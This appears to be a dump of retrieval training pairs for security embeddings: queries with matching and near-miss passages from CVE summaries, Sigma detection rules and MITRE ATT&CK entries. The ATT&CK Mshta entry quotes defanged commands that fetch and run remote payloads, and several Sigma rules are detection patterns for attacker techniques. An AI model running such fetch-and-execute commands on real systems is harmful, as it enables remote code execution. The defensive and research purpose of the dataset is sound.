alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: risk of QL Office in Apple iOS before 8.4.1 and OS X before 10.10.5 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash)
Matching passage: CVE-2015-5773. CWE: CWE-119. CVSS: 6.800000190734863. QL Office in Apple iOS before 8.4.1 and OS X before 10.10.5 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted office document.
Near-miss passage: CVE-2015-1522. CWE: CWE-119. CVSS: 7.5. analyzer/protocol/dnp3/DNP3.cc in Bro before 2.3.2 does not reject certain non-zero values of a packet length, which allows remote attackers to cause a denial of service (buffer overflow or buffer over-read) via a crafted DNP3 packet.
Query: write Sigma for Detects execution of "reg.exe" commands with the "delete" flag on services registry key. Often used by attacker to remov
Matching passage: Sigma rule: Detects execution of "reg.exe" commands with the "delete" flag on services registry key. Often used by attacker to remov. Logsource: windows / process_creation. Rule: title: Service Registry Key Deleted Via Reg.EXE id: 05b2aa93-1210-42c8-8d9a-2fcc13b284f5 status: test description: Detects execution of "reg.exe" commands with the "delete" flag on services registry key. Often used by attacker to remove AV software services references: - https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465 author: Nasreddine Bencherchali (Nextron Systems) date: 2022-08-01 modified: 2023-02-04 tags: - attack.defense-impairment - attack.t1685 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: reg.exe - OriginalFileName: reg.exe selection_delete: CommandLine|contains: ' delete ' selection_key: CommandLine|contains: \SYSTEM\CurrentControlSet\services\ condition: all of selection_* falsepositives: - Unlikely level: high
Near-miss passage: Sigma rule: Detects potential DLL sideloading of "7za.dll". Logsource: windows / image_load. Rule: title: Potential 7za.DLL Sideloading id: 4f6edb78-5c21-42ab-a558-fd2a6fc1fd57 status: test description: Detects potential DLL sideloading of "7za.dll" references: - https://www.gov.pl/attachment/ee91f24d-3e67-436d-aa50-7fa56acf789d author: X__Junior date: 2023-06-09 tags: - attack.persistence - attack.privilege-escalation - attack.execution - attack.stealth - attack.t1574.001 logsource: category: image_load product: windows detection: selection: ImageLoaded|endswith: \7za.dll filter_main_legit_path: Image|startswith: - C:\Program Files (x86)\ - C:\Program Files\ ImageLoaded|startswith: - C:\Program Files (x86)\ - C:\Program Files\ condition: selection and not 1 of filter_main_* falsepositives: - Legitimate third party application located in "AppData" may leverage this DLL to offer 7z compression functionality and may generate false positives. Apply additional filters as needed. level: low
Query: Sigma rule for Detects instances where an OpenCanary node has been targeted by a SYN port scan.
Matching passage: Sigma rule: Detects instances where an OpenCanary node has been targeted by a SYN port scan.. Logsource: opencanary / application. Rule: title: OpenCanary - Host Port Scan (SYN Scan) id: 974be8d2-283e-4033-ab08-7505b84204d0 status: experimental description: Detects instances where an OpenCanary node has been targeted by a SYN port scan. references: - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 author: Marco Pedrinazzi (@pedrinazziM) date: 2026-01-06 tags: - attack.discovery - attack.t1046 logsource: category: application product: opencanary detection: selection: logtype: 5001 condition: selection falsepositives: - Unlikely level: high
Near-miss passage: Sigma rule: Detect suspicious Kerberos TGT requests. Once an attacer obtains a computer certificate by abusing Active Directory Cert. Logsource: windows / security. Rule: title: PetitPotam Suspicious Kerberos TGT Request id: 6a53d871-682d-40b6-83e0-b7c1a6c4e3a5 status: test description: 'Detect suspicious Kerberos TGT requests. Once an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes. One way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus. This request will generate a 4768 event with some unusual fields depending on the environment. This analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts. ' references: - https://github.com/topotam/PetitPotam - https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/ - https://github.com/splunk/security_content/blob/88d689fe8a055d8284337b9fad5d9152b42043db/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml author: Mauricio Velazco, Michael Haag date: 2021-09-02 modified: 2022-10-05 tags: - attack.credential-access - attack.t1187 logsource: product: windows service: security definition: The advanced audit policy setting "Account Logon > Kerberos Authentication Service" must be configured for Success/Failure detection: selection: EventID: 4768 TargetUserName|endswith: $ CertThumbprint|contains: '*' filter_local: IpAddress: ::1 filter_thumbprint: CertThumbprint: '' condition: selection and not 1 of filter_* falsepositives: - False positives are possible if the environment is using certificates for authentication. We recommend filtering Account_Name to the Domain Controller computer accounts. level: high
Query: describe CVE-2015-9001
Matching passage: CVE-2015-9001. CWE: CWE-200. CVSS: 5.5. In TrustZone an information exposure vulnerability can potentially occur in all Android releases from CAF using the Linux kernel.
Near-miss passage: CVE-2015-7434. CWE: CWE-200. CVSS: 7.800000190734863. IBM Capacity Management Analytics 2.1.0.0 allows local users to discover encrypted usernames and passwords by leveraging access to the CMA install machine. IBM X-Force ID: 107863.
Query: risk of Multiple cross-site scripting (XSS) vulnerabilities in ocPortal before 9.0.17 allow remote authenticated users to inject arbitrary web script or HTML via the (1) title or (2) text 
Matching passage: CVE-2015-2677. CWE: CWE-79. CVSS: 3.5. Multiple cross-site scripting (XSS) vulnerabilities in ocPortal before 9.0.17 allow remote authenticated users to inject arbitrary web script or HTML via the (1) title or (2) text field in the cms_calendar page to cms/index.php; unspecified fields in (3) the cms_polls page to cms/index.php or (4) a new topic in the topics page to forum/index.php; or (5) a new PT (private topic/private message) in the topics page to forum/index.php.
Near-miss passage: CVE-2015-3219. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the Orchestration/Stack section in OpenStack Dashboard (Horizon) 2014.2 before 2014.2.4 and 2015.1.x before 2015.1.1 allows remote attackers to inject arbitrary web script or HTML via the description parameter in a heat template, which is not properly handled in the help_text attribute in the Field class.
Query: exploit Cross-site request forgery (CSRF) vulnerability in django CMS before 3.0.14, 3.1.x before 3.1.1 allows remote attackers to manipulate privileged users into performing unknown actio
Matching passage: CVE-2015-5081. CWE: CWE-352. CVSS: 8.800000190734863. Cross-site request forgery (CSRF) vulnerability in django CMS before 3.0.14, 3.1.x before 3.1.1 allows remote attackers to manipulate privileged users into performing unknown actions via unspecified vectors.
Near-miss passage: CVE-2015-7936. CWE: CWE-352. CVSS: 7.5. Cross-site request forgery (CSRF) vulnerability in Motorola Solutions MOSCAD IP Gateway allows remote attackers to hijack the authentication of administrators for requests that modify a password.
Query: describe CVE-2015-7650
Matching passage: CVE-2015-7650. CWE: CWE-119. CVSS: 6.800000190734863. Adobe Reader and Acrobat 10.x before 10.1.16 and 11.x before 11.0.13, Acrobat and Acrobat Reader DC Classic before 2015.006.30094, and Acrobat and Acrobat Reader DC Continuous before 2015.009.20069 on Windows and OS X allow attackers to execute arbitrary code or cause a denial of service (out-of-bounds read and memory corruption) via a crafted CMAP table in a PDF document, a different vulnerability than CVE-2015-6685, CVE-2015-6686, CVE-2015-6693, CVE-2015-6694, CVE-2015-6695, and CVE-2015-7622.
Near-miss passage: CVE-2015-5753. CWE: CWE-119. CVSS: 6.800000190734863. QuickTime 7 in Apple OS X before 10.10.5 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted file, a different vulnerability than CVE-2015-3765, CVE-2015-3779, CVE-2015-3788, CVE-2015-3789, CVE-2015-3790, CVE-2015-3791, CVE-2015-3792, CVE-2015-5751, and CVE-2015-5779.
Query: describe CVE-2015-1839
Matching passage: CVE-2015-1839. CWE: CWE-19. CVSS: 5.300000190734863. modules/chef.py in SaltStack before 2014.7.4 does not properly handle files in /tmp.
Near-miss passage: CVE-2015-2285. CWE: CWE-19. CVSS: 7.199999809265137. The logrotation script (/etc/cron.daily/upstart) in the Ubuntu Upstart package before 1.13.2-0ubuntu9, as used in Ubuntu Vivid 15.04, allows local users to execute arbitrary commands and gain privileges via a crafted file in /run/user/*/upstart/sessions/.
Query: describe CVE-2015-3999
Matching passage: CVE-2015-3999. CWE: CWE-200. CVSS: 2.0999999046325684. Piriform CCleaner 3.26.0.1988 through 5.02.5101 writes the filenames to disk when overwriting files, which allows local users to obtain sensitive information by searching unallocated disk space.
Near-miss passage: CVE-2015-7412. CWE: CWE-200. CVSS: 2.5999999046325684. The GatewayScript modules on IBM DataPower Gateways with software 7.2.0.x before 7.2.0.1, when the GatewayScript decryption API or a JWE decrypt action is enabled, do not require signed ciphertext data, which makes it easier for remote attackers to obtain plaintext data via a padding-oracle attack.
Query: CVE similar to CVE-2015-4429
Matching passage: CVE-2015-4429. CWE: UNKNOWN. CVSS: 10.0. Adobe Flash Player before 13.0.0.302 and 14.x through 18.x before 18.0.0.203 on Windows and OS X and before 11.2.202.481 on Linux, Adobe AIR before 18.0.0.180, Adobe AIR SDK before 18.0.0.180, and Adobe AIR SDK & Compiler before 18.0.0.180 allow attackers to cause a denial of service (NULL pointer dereference) or possibly have unspecified other impact via unknown vectors, a different vulnerability than CVE-2015-3126.
Near-miss passage: CVE-2015-4824. CWE: UNKNOWN. CVSS: 2.0999999046325684. Unspecified vulnerability in the Oracle Agile PLM component in Oracle Supply Chain Products Suite 9.3.4 allows remote authenticated users to affect confidentiality via unknown vectors related to Security.
Query: describe CVE-2015-8158
Matching passage: CVE-2015-8158. CWE: UNKNOWN. CVSS: 5.900000095367432. The getresponse function in ntpq in NTP versions before 4.2.8p9 and 4.3.x before 4.3.90 allows remote attackers to cause a denial of service (infinite loop) via crafted packets with incorrect values.
Near-miss passage: CVE-2015-0512. CWE: UNKNOWN. CVSS: 5.800000190734863. Open redirect vulnerability in EMC Unisphere Central before 4.0 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via an unspecified parameter.
Query: how to detect CMSTP
Matching passage: T1218.003 CMSTP. Tactics: stealth. Description: Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft. CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
Near-miss passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Query: vulnerability: AR System Mid Tier in the AR System Mid Tier component before 9.0 SP1 for BMC Remedy AR System Server allows remote authenticated users to "navigate" to arbitrary files via the __r
Matching passage: CVE-2015-5071. CWE: CWE-269. CVSS: 6.5. AR System Mid Tier in the AR System Mid Tier component before 9.0 SP1 for BMC Remedy AR System Server allows remote authenticated users to "navigate" to arbitrary files via the __report parameter of the BIRT viewer servlet.
Near-miss passage: CVE-2015-4719. CWE: CWE-269. CVSS: 9.800000190734863. The client API authentication mechanism in Pexip Infinity before 10 allows remote attackers to gain privileges via a crafted request.
Query: alert when Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)
Matching passage: Sigma rule: Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns). Logsource: windows / process_creation. Rule: title: Process Creation Using Sysnative Folder id: 3c1b5fb0-c72f-45ba-abd1-4d4c353144ab status: test description: Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns) references: - https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/ author: Max Altgelt (Nextron Systems) date: 2022-08-23 modified: 2025-10-08 tags: - attack.privilege-escalation - attack.stealth - attack.t1055 logsource: category: process_creation product: windows detection: selection: - CommandLine|contains: :\Windows\Sysnative\ - Image|contains: :\Windows\Sysnative\ filter_main_ngen: Image|contains: - C:\Windows\Microsoft.NET\Framework64\v - C:\Windows\Microsoft.NET\Framework\v - C:\Windows\Microsoft.NET\FrameworkArm\v - C:\Windows\Microsoft.NET\FrameworkArm64\v Image|endswith: \ngen.exe CommandLine|contains: install filter_optional_xampp: CommandLine|contains|all: - '"C:\Windows\sysnative\cmd.exe"' - \xampp\ - \catalina_start.bat condition: selection and not 1 of filter_main_* and not 1 of filter_optional_* falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects System Information Discovery commands. Logsource: linux / auditd. Rule: title: System Information Discovery - Auditd id: f34047d9-20d3-4e8b-8672-0a35cc50dc71 status: test description: Detects System Information Discovery commands references: - https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1082/T1082.md author: Pawel Mazur date: 2021-09-03 modified: 2023-03-06 tags: - attack.discovery - attack.t1082 logsource: product: linux service: auditd detection: selection_1: type: PATH name: - /etc/lsb-release - /etc/redhat-release - /etc/issue selection_2: type: EXECVE a0: - uname - uptime - lsmod - hostname - env selection_3: type: EXECVE a0: grep a1|contains: - vbox - vm - xen - virtio - hv selection_4: type: EXECVE a0: kmod a1: list condition: 1 of selection_* falsepositives: - Likely level: low
Query: vulnerability: EMC Isilon OneFS 7.1 before 7.1.1.8, 7.2.0 before 7.2.0.4, and 7.2.1 before 7.2.1.1 allows remote authenticated administrators to bypass a SmartLock root-login restriction by creat
Matching passage: CVE-2015-4545. CWE: CWE-264. CVSS: 8.0. EMC Isilon OneFS 7.1 before 7.1.1.8, 7.2.0 before 7.2.0.4, and 7.2.1 before 7.2.1.1 allows remote authenticated administrators to bypass a SmartLock root-login restriction by creating a root account and establishing a login session.
Near-miss passage: CVE-2015-3083. CWE: CWE-264. CVSS: 6.400000095367432. Adobe Flash Player before 13.0.0.289 and 14.x through 17.x before 17.0.0.188 on Windows and OS X and before 11.2.202.460 on Linux, Adobe AIR before 17.0.0.172, Adobe AIR SDK before 17.0.0.172, and Adobe AIR SDK & Compiler before 17.0.0.172 allow remote attackers to bypass intended restrictions on filesystem write operations via unspecified vectors, a different vulnerability than CVE-2015-3082 and CVE-2015-3085.
Query: describe CVE-2015-2425
Matching passage: CVE-2015-2425. CWE: CWE-787. CVSS: 8.800000190734863. Microsoft Internet Explorer 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-2383 and CVE-2015-2384.
Near-miss passage: CVE-2015-8458. CWE: CWE-787. CVSS: 6.800000190734863. Heap-based buffer overflow in AGM.dll in Adobe Reader and Acrobat 10.x before 10.1.16 and 11.x before 11.0.13, Acrobat and Acrobat Reader DC Classic before 2015.006.30094, and Acrobat and Acrobat Reader DC Continuous before 2015.009.20069 on Windows and OS X allows attackers to execute arbitrary code via a multiple-layer PDF document, a different vulnerability than CVE-2015-6696 and CVE-2015-6698.
Query: risk of JEvents Joomla Component before 3.4.0 RC6 has SQL Injection via evid in a Manage Events action.
Matching passage: CVE-2015-7340. CWE: CWE-89. CVSS: 7.199999809265137. JEvents Joomla Component before 3.4.0 RC6 has SQL Injection via evid in a Manage Events action.
Near-miss passage: CVE-2015-4043. CWE: CWE-89. CVSS: 9.800000190734863. SQL injection vulnerability in ConnX ESP HR Management 4.4.0 allows remote attackers to execute arbitrary SQL commands via the ctl00$cphMainContent$txtUserName parameter to frmLogin.aspx.
Query: exploit Multiple cross-site scripting (XSS) vulnerabilities in the Time Tracker module 7.x-1.x before 7.x-1.4 for Drupal allow remote authenticated users with certain permissions to inject
Matching passage: CVE-2015-6751. CWE: CWE-79. CVSS: 3.5. Multiple cross-site scripting (XSS) vulnerabilities in the Time Tracker module 7.x-1.x before 7.x-1.4 for Drupal allow remote authenticated users with certain permissions to inject arbitrary web script or HTML via a (1) note added to a time entry or an (2) activity used to categorize time tracker entries.
Near-miss passage: CVE-2015-7409. CWE: CWE-79. CVSS: 5.400000095367432. Cross-site scripting (XSS) vulnerability in IBM Security QRadar SIEM 7.2.x before 7.2.6 allows remote authenticated users to inject arbitrary web script or HTML via an unspecified field.
Query: patch priority for CVE-2015-2030
Matching passage: CVE-2015-2030. CWE: UNKNOWN. CVSS: 5.0. IBM WebSphere eXtreme Scale 7.1.0 before 7.1.0.3 and 7.1.1 before 7.1.1.1 has an improper account-lockout setting, which makes it easier for remote attackers to obtain access via a brute-force attack.
Near-miss passage: CVE-2015-8058. CWE: UNKNOWN. CVSS: 9.300000190734863. Use-after-free vulnerability in Adobe Flash Player before 18.0.0.268 and 19.x and 20.x before 20.0.0.228 on Windows and OS X and before 11.2.202.554 on Linux, Adobe AIR before 20.0.0.204, Adobe AIR SDK before 20.0.0.204, and Adobe AIR SDK & Compiler before 20.0.0.204 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-8048, CVE-2015-8049, CVE-2015-8050, CVE-2015-8055, CVE-2015-8056, CVE-2015-8057, CVE-2015-8059, CVE-2015-8061, CVE-2015-8062, CVE-2015-8063, CVE-2015-8064, CVE-2015-8065, CVE-2015-8066, CVE-2015-8067, CVE-2015-8068, CVE-2015-8069, CVE-2015-8070, CVE-2015-8071, CVE-2015-8401, CVE-2015-8402, CVE-2015-8403, CVE-2015-8404, CVE-2015-8405, CVE-2015-8406, CVE-2015-8410, CVE-2015-8411, CVE-2015-8412, CVE-2015-8413, CVE-2015-8414, CVE-2015-8420, CVE-2015-8421, CVE-2015-8422, CVE-2015-8423, CVE-2015-8424, CVE-2015-8425, CVE-2015-8426, CVE-2015-8427, CVE-2015-8428, CVE-2015-8429, CVE-2015-8430, CVE-2015-8431, CVE-2015-8432, CVE-2015-8433, CVE-2015-8434, CVE-2015-8435, CVE-2015-8436, CVE-2015-8437, CVE-2015-8441, CVE-2015-8442, CVE-2015-8447, CVE-2015-8448, CVE-2015-8449, CVE-2015-8450, CVE-2015-8452, and CVE-2015-8454.
Query: explain CWE-103
Matching passage: CWE-103 Struts: Incomplete validate() Method Definition. The product has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().
Near-miss passage: CWE-354 Improper Validation of Integrity Check Value. The product does not validate or incorrectly validates the integrity check values or checksums of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.